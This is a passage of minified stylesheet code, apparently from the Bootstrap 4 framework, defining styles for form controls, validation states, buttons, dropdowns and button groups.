1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#28a745}.valid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(40,167,69,.9);border-radius:.25rem}.form-row>.col>.valid-tooltip,.form-row>[class*=col-]>.valid-tooltip{left:5px}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#28a745;padding-right:calc(1.5em + .75rem)!important;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.was-validated select.form-control:valid,select.form-control.is-valid{padding-right:3rem!important;background-position:right 1.5rem center}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#28a745;padding-right:calc(.75em + 2.3125rem)!important;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat,#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem) no-repeat}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{border-color:#28a745}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{border-color:#34ce57;background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label::before{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.form-row>.col>.invalid-tooltip,.form-row>[class*=col-]>.invalid-tooltip{left:5px}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem)!important;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.was-validated select.form-control:invalid,select.form-control.is-invalid{padding-right:3rem!important;background-position:right 1.5rem center}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#dc3545;padding-right:calc(.75em + 2.3125rem)!important;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat,#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e") center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem) no-repeat}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{border-color:#dc3545}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{border-color:#e4606d;background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label::before{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-ms-flexbox;display:flex;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;-ms-flex-negative:0;flex-shrink:0;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#212529;text-align:center;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529;text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#0069d9;border-color:#0062cc;box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{color:#fff;background-color:#5a6268;border-color:#545b62;box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#218838;border-color:#1e7e34;box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#138496;border-color:#117a8b;box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{color:#212529;background-color:#e0a800;border-color:#d39e00;box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c82333;border-color:#bd2130;box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{color:#212529;background-color:#e2e6ea;border-color:#dae0e5;box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{color:#fff;background-color:#23272b;border-color:#1d2124;box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-outline-primary{color:#007bff;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;text-decoration:none}.btn-link:hover{color:#0056b3;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.collapsing.width{width:0;height:auto;transition:width .35s ease}@media (prefers-reduced-motion:reduce){.collapsing.width{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#e9ecef}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#adb5bd;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-ms-flex:1 1 auto;flex:1 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-toolbar{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:center;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;-ms-flex:1 1 auto;flex:1 1 